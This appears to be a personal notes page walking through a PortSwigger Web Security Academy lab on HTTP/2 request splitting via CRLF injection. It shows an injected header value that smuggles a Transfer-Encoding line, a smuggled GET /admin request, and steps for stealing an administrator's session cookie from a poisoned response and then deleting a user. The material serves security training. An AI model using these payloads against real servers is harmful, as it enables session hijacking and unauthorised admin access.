> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/http2-splitting-via-crlf-injection.md).
# HTTP/2 Request Splitting via CRLF Injection
HTTP/2 Request Splitting via CRLF Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### HTTP/2 Request Splitting via CRLF Injection
The front-end downgrades HTTP/2 requests to HTTP/1 and does not properly clean the headers. / This flaw allows a request splitting attack, used here to poison the response line and access the administration panel to remove user **carlos**. / An administrator connects every **10 seconds** and the back-end connection is reset every **10 requests**, making it easy to get back on a clean connection.
* Even if the query is poorly formed, the server does not return any error message.
* Example of attempt in HTTP/2:
```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Tranfer-Encoding: chunked
3
abc
X
```
No errors are generated.
* Added a custom header to **Request Headers** (Burp):
```http
Name:
test
Value:
test
Transfer-Encoding: chunked
```
* With a GET request containing a body, the server specifies that GET cannot carry a body, which confirms that some validations exist but remain insufficient for injected headers.
#### CRLF Injection via HTTP/2 Headers
By placing the headers controlled via HTTP/2, the CRLF injection is accepted. / You can then insert an additional query after the legitimate request during the downgrade to HTTP/1.
Example smuggled payload:
```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
#### Exploitation
1. Inject a smuggled query targeting:/ **GET / HTTP Admin/1.1**
* Send multiple requests so that the administrator triggers the trapped response.
```http
test
GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
* Intercept the back-end request /admin containing the \*\* admin session cookie\*\*.
1. Reuse this stolen session to access the admin panel.
2. From the panel, delete user **carlos**.
---
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